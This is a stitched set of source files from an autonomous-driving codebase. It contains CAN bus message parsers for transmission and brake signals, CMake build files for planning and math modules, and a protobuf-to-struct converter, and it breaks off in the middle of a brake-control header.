Gw_tcu_gearinfo_0x123_123::Tcu_epblockreqType Gwtcugearinfo0x123123::tcu_epblockreq(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(4, 1); Gw_tcu_gearinfo_0x123_123::Tcu_epblockreqType ret = static_cast<Gw_tcu_gearinfo_0x123_123::Tcu_epblockreqType>(x); return ret; } // config detail: {'name': 'tcu_highresistance', 'enum': {0: 'TCU_HIGHRESISTANCE_NO_HIGHRESISTANCE', 1: 'TCU_HIGHRESISTANCE_HIGHRESISTANCE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 45, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tcu_gearinfo_0x123_123::Tcu_highresistanceType Gwtcugearinfo0x123123::tcu_highresistance(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(5, 1); Gw_tcu_gearinfo_0x123_123::Tcu_highresistanceType ret = static_cast<Gw_tcu_gearinfo_0x123_123::Tcu_highresistanceType>(x); return ret; } // config detail: {'name': 'tcu_drivingmodechange_fault_flag', 'enum': {0: 'TCU_DRIVINGMODECHANGE_FAULT_FLAG_NOFAULT', 1: 'TCU_DRIVINGMODECHANGE_FAULT_FLAG_FAULT'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 46, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tcu_gearinfo_0x123_123::Tcu_drivingmodechange_fault_flagType Gwtcugearinfo0x123123::tcu_drivingmodechange_fault_flag(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(6, 1); Gw_tcu_gearinfo_0x123_123::Tcu_drivingmodechange_fault_flagType ret = static_cast<Gw_tcu_gearinfo_0x123_123::Tcu_drivingmodechange_fault_flagType>(x); return ret; } // config detail: {'name': 'tcu_shiftlevertopreqinvalid', 'enum': {0: 'TCU_SHIFTLEVERTOPREQINVALID_VALID', 1: 'TCU_SHIFTLEVERTOPREQINVALID_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 47, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tcu_gearinfo_0x123_123::Tcu_shiftlevertopreqinvalidType Gwtcugearinfo0x123123::tcu_shiftlevertopreqinvalid(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(7, 1); Gw_tcu_gearinfo_0x123_123::Tcu_shiftlevertopreqinvalidType ret = static_cast<Gw_tcu_gearinfo_0x123_123::Tcu_shiftlevertopreqinvalidType>(x); return ret; } // config detail: {'name': 'tcu_status_alivecounter0x123', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwtcugearinfo0x123123::tcu_status_alivecounter0x123(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'tcu_transpmotorparkreq', 'enum': {0: 'TCU_TRANSPMOTORPARKREQ_NOREQUEST', 1: 'TCU_TRANSPMOTORPARKREQ_UNPARKREQUEST', 2: 'TCU_TRANSPMOTORPARKREQ_PARKREQUEST', 3: 'TCU_TRANSPMOTORPARKREQ_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tcu_gearinfo_0x123_123::Tcu_transpmotorparkreqType Gwtcugearinfo0x123123::tcu_transpmotorparkreq(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(4, 2); Gw_tcu_gearinfo_0x123_123::Tcu_transpmotorparkreqType ret = static_cast<Gw_tcu_gearinfo_0x123_123::Tcu_transpmotorparkreqType>(x); return ret; } // config detail: {'name': 'tcu_shiftlevertopreq', 'enum': {0: 'TCU_SHIFTLEVERTOPREQ_NOREQUEST', 1: 'TCU_SHIFTLEVERTOPREQ_PARKREQUEST', 2: 'TCU_SHIFTLEVERTOPREQ_RESERVED', 3: 'TCU_SHIFTLEVERTOPREQ_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tcu_gearinfo_0x123_123::Tcu_shiftlevertopreqType Gwtcugearinfo0x123123::tcu_shiftlevertopreq(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(6, 2); Gw_tcu_gearinfo_0x123_123::Tcu_shiftlevertopreqType ret = static_cast<Gw_tcu_gearinfo_0x123_123::Tcu_shiftlevertopreqType>(x); return ret; } // config detail: {'name': 'tcu_status_checksum0x123', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwtcugearinfo0x123123::tcu_status_checksum0x123(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'tcu_currentgearposition', 'enum': {0: 'TCU_CURRENTGEARPOSITION_DRIVETRAINOPEN_GEARN', 1: 'TCU_CURRENTGEARPOSITION_1STGEAR', 2: 'TCU_CURRENTGEARPOSITION_2NDGEAR', 3: 'TCU_CURRENTGEARPOSITION_3RDGEAR', 4: 'TCU_CURRENTGEARPOSITION_4THGEAR', 5: 'TCU_CURRENTGEARPOSITION_5THGEAR', 6: 'TCU_CURRENTGEARPOSITION_6THGEAR', 7: 'TCU_CURRENTGEARPOSITION_7THGEAR', 8: 'TCU_CURRENTGEARPOSITION_8THGEAR', 14: 'TCU_CURRENTGEARPOSITION_REVERSEGEAR', 15: 'TCU_CURRENTGEARPOSITION_INVALID'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_tcu_gearinfo_0x123_123::Tcu_currentgearpositionType Gwtcugearinfo0x123123::tcu_currentgearposition(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(4, 4); Gw_tcu_gearinfo_0x123_123::Tcu_currentgearpositionType ret = static_cast<Gw_tcu_gearinfo_0x123_123::Tcu_currentgearpositionType>(x); return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(piecewise_jerk_problem piecewise_jerk_problem.cc piecewise_jerk_problem.h) target_link_libraries(piecewise_jerk_problem log planning_gflags osqp) add_library(piecewise_jerk_path_problem piecewise_jerk_path_problem.cc piecewise_jerk_path_problem.h) target_link_libraries(piecewise_jerk_path_problem piecewise_jerk_problem) add_library(piecewise_jerk_speed_problem piecewise_jerk_speed_problem.cc piecewise_jerk_speed_problem.h) target_link_libraries(piecewise_jerk_speed_problem piecewise_jerk_problem) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_subdirectory(qp_solver) add_library(math INTERFACE) target_link_libraries(math INTERFACE angle cartesian_frenet_conversion euler_angles_zxy factorial geometry integral kalman_filter linear_interpolation lqr mpc quaternion search sin_table) add_library(geometry aabox2d.cc box2d.cc line_segment2d.cc math_utils.cc math_utils.h polygon2d.cc vec2d.cc aabox2d.h aaboxkdtree2d.h box2d.h line_segment2d.h polygon2d.h vec2d.h) target_link_libraries(geometry jmcauto_log string_util) add_library(sin_table sin_table.cc sin_table.h) add_library(angle angle.cc angle.h) target_link_libraries(angle sin_table) add_library(euler_angles_zxy INTERFACE) target_link_libraries(euler_angles_zxy INTERFACE geometry ) add_library(quaternion INTERFACE) target_link_libraries(quaternion INTERFACE euler_angles_zxy geometry common_proto ) add_library(matrix_operations matrix_operations.cc matrix_operations.h) target_link_libraries(matrix_operations jmcauto_log) add_library(kalman_filter INTERFACE) target_link_libraries(kalman_filter INTERFACE jmcauto_log matrix_operations ) add_library(extended_kalman_filter INTERFACE) target_link_libraries(extended_kalman_filter INTERFACE jmcauto_log matrix_operations ) add_library(factorial INTERFACE) target_link_libraries(factorial INTERFACE ) add_library(path_matcher path_matcher.cc path_matcher.h) target_link_libraries(path_matcher linear_interpolation pnc_point_proto) add_library(search search.cc search.h) target_link_libraries(search ) add_library(linear_interpolation linear_interpolation.cc linear_interpolation.h) target_link_libraries(linear_interpolation geometry pnc_point_proto) add_library(nonlinear_interpolation nonlinear_interpolation.cc nonlinear_interpolation.h) target_link_libraries(nonlinear_interpolation geometry hermite_spline integral pnc_point_proto) add_library(integral integral.cc integral.h) target_link_libraries(integral jmcauto_log) add_library(lqr linear_quadratic_regulator.cc linear_quadratic_regulator.h) target_link_libraries(lqr jmcauto_log ) add_library(mpc mpc_solver.cc mpc_solver.h) target_link_libraries(mpc jmcauto_log qp_solver active_set_qp_solver ) add_library(cartesian_frenet_conversion cartesian_frenet_conversion.cc cartesian_frenet_conversion.h) target_link_libraries(cartesian_frenet_conversion geometry jmcauto_log ) add_library(hermite_spline INTERFACE) target_link_libraries(hermite_spline INTERFACE jmcauto_log)<file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(path_reuse_decider path_reuse_decider.cc path_reuse_decider.h) target_link_libraries(path_reuse_decider history obstacle_blocking_analyzer planning_context planning_gflags reference_line_info planning_proto /modules/planning/tasks/deciders:decider_base) <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_extrinsics_h #define impl_type_extrinsics_h #include "impl_type_transform.h" struct Extrinsics { ::Transform tansforms; static bool IsPlane() { return false; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(tansforms); } template<typename F> void enumerate(F& fun) const { fun(tansforms); } bool operator == (const ::Extrinsics& t) const { return (tansforms == t.tansforms); } }; #endif // impl_type_extrinsics_h <file_sep># This file was generated from BUILD using tools/make_cmakelists.py. cmake_minimum_required(VERSION 3.1) if(${CMAKE_VERSION} VERSION_LESS 3.12) cmake_policy(VERSION ${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION}) else() cmake_policy(VERSION 3.12) endif() cmake_minimum_required (VERSION 3.0) cmake_policy(SET CMP0048 NEW) # Prevent CMake from setting -rdynamic on Linux (!!). SET(CMAKE_SHARED_LIBRARY_LINK_C_FLAGS "") SET(CMAKE_SHARED_LIBRARY_LINK_CXX_FLAGS "") # Set default build type. if(NOT CMAKE_BUILD_TYPE) message(STATUS "Setting build type to 'RelWithDebInfo' as none was specified.") set(CMAKE_BUILD_TYPE "RelWithDebInfo" CACHE STRING "Choose the type of build, options are: Debug Release RelWithDebInfo MinSizeRel." FORCE) endif() # When using Ninja, compiler output won't be colorized without this. include(CheckCXXCompilerFlag) CHECK_CXX_COMPILER_FLAG(-fdiagnostics-color=always SUPPORTS_COLOR_ALWAYS) if(SUPPORTS_COLOR_ALWAYS) set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -fdiagnostics-color=always") endif() # Implement ASAN/UBSAN options if(UPB_ENABLE_ASAN) set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -fsanitize=address") set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -fsanitize=address") set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -fsanitize=address") set(CMAKE_SHARED_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS} -fsanitize=address") endif() if(UPB_ENABLE_UBSAN) set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -fsanitize=undefined") set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -fsanitize=address") set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -fsanitize=address") set(CMAKE_SHARED_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS} -fsanitize=address") endif() include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) if(APPLE) set(CMAKE_SHARED_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS} -undefined dynamic_lookup -flat_namespace") elseif(UNIX) set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -Wl,--build-id") endif() enable_testing() add_library(indexed_list INTERFACE) target_link_libraries(indexed_list INTERFACE map_util boost) add_library(indexed_queue INTERFACE) target_link_libraries(indexed_queue INTERFACE map_util) add_library(obstacle obstacle.cc obstacle.h) target_link_libraries(obstacle indexed_list vehicle_config_helper map_util st_boundary planning_proto /modules/planning/reference_line) add_library(obstacle_blocking_analyzer obstacle_blocking_analyzer.cc obstacle_blocking_analyzer.h) target_link_libraries(obstacle_blocking_analyzer frame vehicle_config_helper /modules/planning/reference_line) add_library(path_boundary path_boundary.cc path_boundary.h) add_library(planning_context planning_context.cc planning_context.h) target_link_libraries(planning_context macros path_data planning_status_proto eigen) add_library(path_decision path_decision.cc path_decision.h) target_link_libraries(path_decision obstacle /modules/planning/reference_line) add_library(planning_gflags planning_gflags.cc planning_gflags.h) target_link_libraries(planning_gflags /external:gflags) add_library(reference_line_info reference_line_info.cc reference_line_info.h) target_link_libraries(reference_line_info ego_info path_boundary path_decision planning_gflags st_graph_data log planning_thread_pool pnc_point_proto point_factory vehicle_state_provider /modules/map/pnc_map /modules/map/proto:map_proto path_data speed_data discretized_trajectory publishable_trajectory lattice_structure_proto /modules/planning/reference_line eigen) add_library(speed_profile_generator speed_profile_generator.cc speed_profile_generator.h) target_link_libraries(speed_profile_generator frame reference_line_info pnc_point_proto speed_data /modules/planning/math/curve1d /modules/planning/math/curve1d:polynomial_curve1d /modules/planning/math/curve1d:quartic_polynomial_curve1d /modules/planning/math/curve1d:quintic_polynomial_curve1d /modules/planning/math/piecewise_jerk:piecewise_jerk_speed_problem planning_config_proto) add_library(local_view INTERFACE) target_link_libraries(local_view INTERFACE /modules/localization/proto:localization_proto /modules/map/relative_map/proto:navigation_proto /modules/perception/proto:perception_proto planning_proto /modules/prediction/proto:prediction_proto) add_library(frame frame.cc frame.h) target_link_libraries(frame indexed_queue local_view obstacle open_space_info reference_line_info log macros vehicle_config_helper vehicle_state_provider /modules/map/hdmap:hdmap_util /modules/map/pnc_map discretized_trajectory publishable_trajectory util_lib planning_config_proto planning_proto /modules/planning/reference_line:reference_line_provider eigen) add_library(history history.cc history.h) target_link_libraries(history planning_gflags log macros decision_proto planning_proto eigen) add_library(speed_limit speed_limit.cc speed_limit.h) target_link_libraries(speed_limit /modules/common/math planning_proto) add_library(ego_info ego_info.cc ego_info.h) target_link_libraries(ego_info obstacle macros log vehicle_config_helper vehicle_config_proto geometry /modules/common/vehicle_state/proto:vehicle_state_proto /modules/planning/reference_line eigen) add_library(planning_common INTERFACE) target_link_libraries(planning_common INTERFACE ego_info frame planning_gflags speed_limit st_graph_data log /modules/localization/common:localization_common /modules/localization/proto:localization_proto eigen) add_library(trajectory_stitcher trajectory_stitcher.cc trajectory_stitcher.h) target_link_libraries(trajectory_stitcher log pnc_point_proto /modules/common/vehicle_model planning_gflags publishable_trajectory /modules/planning/reference_line) add_library(open_space_info open_space_info.cc open_space_info.h) target_link_libraries(open_space_info log vehicle_config_helper /modules/common/vehicle_state/proto:vehicle_state_proto /modules/map/hdmap:hdmap_util /modules/map/pnc_map indexed_queue obstacle planning_gflags discretized_trajectory publishable_trajectory eigen) add_library(st_graph_data st_graph_data.cc st_graph_data.h) target_link_libraries(st_graph_data planning_gflags speed_limit st_boundary) add_library(planning_thread_pool planning_thread_pool.cc planning_thread_pool.h) target_link_libraries(planning_thread_pool planning_gflags macro ctpl_stl) <file_sep>#include "PbConvertor.h" //#include <iostream> #include <typeinfo> namespace jmc_auto { namespace common { namespace util { bool PbConvertor::struct2Pb(const char *&pStruct, google::protobuf::Message *pPb) { if (NULL == pStruct || NULL == pPb) return false; const google::protobuf::Descriptor *pDescriptor = pPb->GetDescriptor(); if (NULL == pDescriptor) return false; const google::protobuf::Reflection *pReflection =pPb->GetReflection(); if (NULL == pReflection) return false; for (size_t i = 0; i < pDescriptor->field_count(); ++i) { const google::protobuf::FieldDescriptor *pFieldDescriptor = pDescriptor->field(i); if (NULL == pFieldDescriptor) return false; switch (pFieldDescriptor->cpp_type()) { #define _CONVERT(type, pbType, setMethod, addMethod) \ case google::protobuf::FieldDescriptor::pbType: \ { \ if (pFieldDescriptor->is_repeated()) \ { \ if (i > 0) \ { \ size_t size; \ if (getSize(pReflection, pPb, pDescriptor->field(i - 1), size)) \ { \ if (size > 0) \ { \ type *addr = *(type **)pStruct; \ if (NULL != addr) \ { \ for (size_t j = 0; j < size; ++j) \ pReflection->addMethod(pPb, pFieldDescriptor, *(addr + j)); \ } \ } \ } \ } \ pStruct += sizeof(void *); \ } \ else \ { \ if (google::protobuf::FieldDescriptor::CPPTYPE_STRING != pFieldDescriptor->cpp_type() || NULL != *(type *)pStruct) \ { \ pReflection->setMethod(pPb, pFieldDescriptor, *(type *)pStruct); \ /*std::cout << "str2pb,type: " << typeid(type).name() << "value: " << *(type *)pStruct << std::endl;*/ \ } \ pStruct += sizeof(type); \ } \ break; \ } _CONVERT(double, CPPTYPE_DOUBLE, SetDouble, AddDouble) _CONVERT(float, CPPTYPE_FLOAT, SetFloat, AddFloat) _CONVERT(int32_t, CPPTYPE_INT32, SetInt32, AddInt32) _CONVERT(int64_t, CPPTYPE_INT64, SetInt64, AddInt64) _CONVERT(uint32_t, CPPTYPE_UINT32, SetUInt32, AddUInt32) _CONVERT(uint64_t, CPPTYPE_UINT64, SetUInt64, AddUInt64) _CONVERT(bool, CPPTYPE_BOOL, SetBool, AddBool) _CONVERT(char *, CPPTYPE_STRING, SetString, AddString) _CONVERT(int, CPPTYPE_ENUM, SetEnumValue, AddEnumValue) #undef _CONVERT case google::protobuf::FieldDescriptor::CPPTYPE_MESSAGE: { if (pFieldDescriptor->is_repeated()) { if (i > 0) { size_t size; if (getSize(pReflection, pPb, pDescriptor->field(i - 1), size)) { if (size > 0) { const char *addr = *(char **)pStruct; for (size_t j = 0; j < size; ++j) { if (!struct2Pb(addr, pReflection->AddMessage(pPb, pFieldDescriptor))) return false; } } } } pStruct += sizeof(void *); } else { if (!struct2Pb(pStruct, pReflection->MutableMessage(pPb, pFieldDescriptor))) return false; } break; } default: { break; } } } return true; } bool PbConvertor::struct2serializedPb(const char *pStruct, const std::string &pbTypeName, char *&pSerializedPb, size_t &serializedPbSize) { if (NULL == pStruct) { pSerializedPb = NULL; return false; } const google::protobuf::Descriptor *pDescriptor = google::protobuf::DescriptorPool::generated_pool()->FindMessageTypeByName(pbTypeName); if (NULL == pDescriptor) return false; const google::protobuf::Message *pPrototype = google::protobuf::MessageFactory::generated_factory()->GetPrototype(pDescriptor); if (NULL == pPrototype) return false; google::protobuf::Message *pPb = pPrototype->New(); if (NULL == pPb) return false; bool bRet = false; if (struct2Pb(pStruct, pPb)) { serializedPbSize = pPb->ByteSizeLong(); pSerializedPb = new char[serializedPbSize]; if (pPb->SerializeToArray(pSerializedPb, serializedPbSize)) bRet = true; else { delete [] pSerializedPb; pSerializedPb = NULL; } } delete pPb; return bRet; } bool PbConvertor::pb2struct(const google::protobuf::Message *pPb, MemTree &stru) { if (NULL == pPb) return false; const google::protobuf::Descriptor *pDescriptor = pPb->GetDescriptor(); if (NULL == pDescriptor) return false; const google::protobuf::Reflection *pReflection =pPb->GetReflection(); if (NULL == pReflection) return false; for (size_t i = 0; i < pDescriptor->field_count(); ++i) { const google::protobuf::FieldDescriptor *pFieldDescriptor = pDescriptor->field(i); if (NULL == pFieldDescriptor) return false; switch (pFieldDescriptor->cpp_type()) { #define _CONVERT(type, pbType, getMethod, getRepeatedMethod) \ case google::protobuf::FieldDescriptor::pbType: \ { \ if (pFieldDescriptor->is_repeated()) \ { \ size_t newMemSize = stru.memSize + sizeof(void *); \ char *p = (char *)realloc(stru.pMem, newMemSize); \ if (NULL == p) \ return false; \ *(type **)(p + stru.memSize) = NULL; \ if (i > 0) \ { \ size_t size; \ if (getSize(pReflection, pPb, pDescriptor->field(i - 1), size)) \ { \ if (size > 0) \ { \ size_t memSize = size * sizeof(type); \ char *p1 = (char *)malloc(memSize); \ if (NULL == p1) \ return false; \ for (size_t j = 0; j < size; ++j) \ ((type *)p1)[j] = pReflection->getRepeatedMethod(*pPb, pFieldDescriptor, j); \ *(type **)(p + stru.memSize) = (type *)p1; \ stru.vecChild.emplace_back(p1, memSize); \ } \ } \ } \ stru.pMem = p; \ stru.memSize = newMemSize; \ } \ else \ { \ size_t newMemSize = stru.memSize + sizeof(type); \ void *p = realloc(stru.pMem, newMemSize); \ if (NULL == p) \ return false; \ *(type *)(p + stru.memSize) = pReflection->getMethod(*pPb, pFieldDescriptor); \ /*std::cout << "pb2str,name: " << pFieldDescriptor->name() << "type: " << typeid(type).name() << "value: " << pReflection->getMethod(*pPb, pFieldDescriptor) << std::endl;*/ \ stru.pMem = (char *)p; \ stru.memSize = newMemSize; \ } \ break; \ } _CONVERT(double, CPPTYPE_DOUBLE, GetDouble, GetRepeatedDouble) _CONVERT(float, CPPTYPE_FLOAT, GetFloat, GetRepeatedFloat) _CONVERT(int32_t, CPPTYPE_INT32, GetInt32, GetRepeatedInt32) _CONVERT(int64_t, CPPTYPE_INT64, GetInt64, GetRepeatedInt64) _CONVERT(uint32_t, CPPTYPE_UINT32, GetUInt32, GetRepeatedUInt32) _CONVERT(uint64_t, CPPTYPE_UINT64, GetUInt64, GetRepeatedUInt64) _CONVERT(bool, CPPTYPE_BOOL, GetBool, GetRepeatedBool) _CONVERT(int, CPPTYPE_ENUM, GetEnumValue, GetRepeatedEnumValue) #undef _CONVERT case google::protobuf::FieldDescriptor::CPPTYPE_STRING: { if (pFieldDescriptor->is_repeated()) { size_t newMemSize = stru.memSize + sizeof(void *); char *p = (char *)realloc(stru.pMem, newMemSize); if (NULL == p) return false; *(char ***)(p + stru.memSize) = NULL; if (i > 0) { size_t size; if (getSize(pReflection, pPb, pDescriptor->field(i - 1), size)) { if (size > 0) { size_t memSize = size * sizeof(char *); char *p1 = (char *)malloc(memSize); if (NULL == p1) return false; *(char ***)(p + stru.memSize) = (char **)p1; stru.vecChild.emplace_back(p1, memSize); MemTree &memTree = stru.vecChild.back(); for (size_t j = 0; j < size; ++j) { std::string str; str = pReflection->GetRepeatedStringReference(*pPb, pFieldDescriptor, j, &str); size_t memSize2 = str.size() + 1; char *p2 = (char *)calloc(memSize2, 1); if (NULL == p2) return false; strcpy(p2, str.c_str()); ((char **)p1)[j] = p2; memTree.vecChild.emplace_back(p2, memSize2); } } } } stru.pMem = p; stru.memSize = newMemSize; } else { size_t newMemSize = stru.memSize + sizeof(char *); void *p = realloc(stru.pMem, newMemSize); if (NULL == p) return false; std::string str; str = pReflection->GetStringReference(*pPb, pFieldDescriptor, &str); size_t memSize = str.size() + 1; char *p1 = (char *)calloc(memSize, 1); if (NULL == p1) return false; strcpy(p1, str.c_str()); *(char **)(p + stru.memSize) = p1; stru.vecChild.emplace_back(p1, memSize); stru.pMem = (char *)p; stru.memSize = newMemSize; } break; } case google::protobuf::FieldDescriptor::CPPTYPE_MESSAGE: { if (pFieldDescriptor->is_repeated()) { size_t newMemSize = stru.memSize + sizeof(void *); char *p = (char *)realloc(stru.pMem, newMemSize); if (NULL == p) return false; *(void **)(p + stru.memSize) = NULL; if (i > 0) { size_t size; if (getSize(pReflection, pPb, pDescriptor->field(i - 1), size)) { if (size > 0) { stru.vecChild.emplace_back((char *)NULL, 0); MemTree &memTree = stru.vecChild.back(); for (size_t j = 0; j < size; ++j) { const google::protobuf::Message &childPb = pReflection->GetRepeatedMessage(*pPb, pFieldDescriptor, j); if (!pb2struct(&childPb, memTree)) return false; } *(void **)(p + stru.memSize) = (void *)memTree.pMem; } } } stru.pMem = p; stru.memSize = newMemSize; } else { const google::protobuf::Message &childPb = pReflection->GetMessage(*pPb, pFieldDescriptor); if (!pb2struct(&childPb, stru)) return false; } break; } default: { break; } } } return true; } bool PbConvertor::serializedPb2struct(const std::string &pbTypeName, const char *pSerializedPb, const size_t serializedPbSize, MemTree &stru) { if (NULL == pSerializedPb) return false; const google::protobuf::Descriptor *pDescriptor = google::protobuf::DescriptorPool::generated_pool()->FindMessageTypeByName(pbTypeName); if (NULL == pDescriptor) return false; const google::protobuf::Message *pPrototype = google::protobuf::MessageFactory::generated_factory()->GetPrototype(pDescriptor); if (NULL == pPrototype) return false; google::protobuf::Message *pPb = pPrototype->New(); if (NULL == pPb) return false; bool bRet = false; if (pPb->ParseFromArray(pSerializedPb, serializedPbSize)) bRet = pb2struct(pPb, stru); delete pPb; return bRet; } bool PbConvertor::getSize(const google::protobuf::Reflection *pReflection, const google::protobuf::Message *pPb, const google::protobuf::FieldDescriptor *pFieldDescriptor, size_t &size) { if (NULL == pReflection || NULL == pFieldDescriptor) return false; bool bRet = true; if (google::protobuf::FieldDescriptor::CPPTYPE_INT32 == pFieldDescriptor->cpp_type()) size = pReflection->GetInt32(*pPb, pFieldDescriptor); else if (google::protobuf::FieldDescriptor::CPPTYPE_INT64 == pFieldDescriptor->cpp_type()) size = pReflection->GetInt64(*pPb, pFieldDescriptor); else if (google::protobuf::FieldDescriptor::CPPTYPE_UINT32 == pFieldDescriptor->cpp_type()) size = pReflection->GetUInt32(*pPb, pFieldDescriptor); else if (google::protobuf::FieldDescriptor::CPPTYPE_UINT64 == pFieldDescriptor->cpp_type()) size = pReflection->GetUInt64(*pPb, pFieldDescriptor); else bRet = false; return bRet; } } // namespace util } // namespace common } // namespace jmc_auto <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(planner INTERFACE) target_link_libraries(planner INTERFACE pnc_point_proto /modules/common/status frame reference_line_info planning_proto /modules/planning/scenarios:scenario /modules/planning/scenarios:scenario_manager) add_library(planner_dispatcher on_lane_planner_dispatcher.cc planner_dispatcher.cc on_lane_planner_dispatcher.h planner_dispatcher.h) target_link_libraries(planner_dispatcher /modules/common/status /modules/common/util /modules/planning/planner/public_road:public_road_planner planning_proto) <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_ADU_CONTROLBRAKE_0X110_110_H_ #define MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_ADU_CONTROLBRAKE_0X110_110_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace teshun { class Aducontrolbrake0x110110 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Aducontrolbrake0x110110(); uint32_t GetPeriod() const override; void UpdateData(uint8_t* data) override; void Reset() override; // config detail: {'name': 'IC_Checksum_0x110', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} Aducontrolbrake0x110110* set_ic_checksum_0x110(int ic_checksum_0x110); // config detail: {'name': 'IC_Rolling_counter_0x110', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} Aducontrolbrake0x110110* set_ic_rolling_counter_0x110(int ic_rolling_counter_0x110); // config detail: {'name': 'ADU_Tgt_Deceleration', 'offset': 0.0, 'precision': 0.00159276, 'len': 12, 'is_signed_var': True, 'physical_range': '[0|0]', 'bit': 47, 'type': 'double', 'order': 'motorola', 'physical_unit': 'g'} Aducontrolbrake0x110110* set_adu_tgt_deceleration(double adu_tgt_deceleration); // config detail: {'name': 'ADU_BrkTMCPosition_Req', 'offset': 0.0, 'precision': 0.1, 'len': 10, 'is_signed_var': False, 'physical_range': '[0|100]', 'bit': 31, 'type': 'double', 'order': 'motorola', 'physical_unit': '%'} Aducontrolbrake0x110110* set_adu_brktmcposition_req(double adu_brktmcposition_req); // config detail: {'name': 'ADU_ParkRelease_Req', 'enum': {0: 'ADU_PARKRELEASE_REQ_NO_CONTROL', 1: 'ADU_PARKRELEASE_REQ_RELEASE', 2: 'ADU_PARKRELEASE_REQ_PARK', 3: 'ADU_PARKRELEASE_REQ_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Aducontrolbrake0x110110* set_adu_parkrelease_req(Adu_controlbrake_0x110_110::Adu_parkrelease_reqType adu_parkrelease_req); // config detail: {'name': 'ADU_ControBrk_StandStill', 'enum': {0: 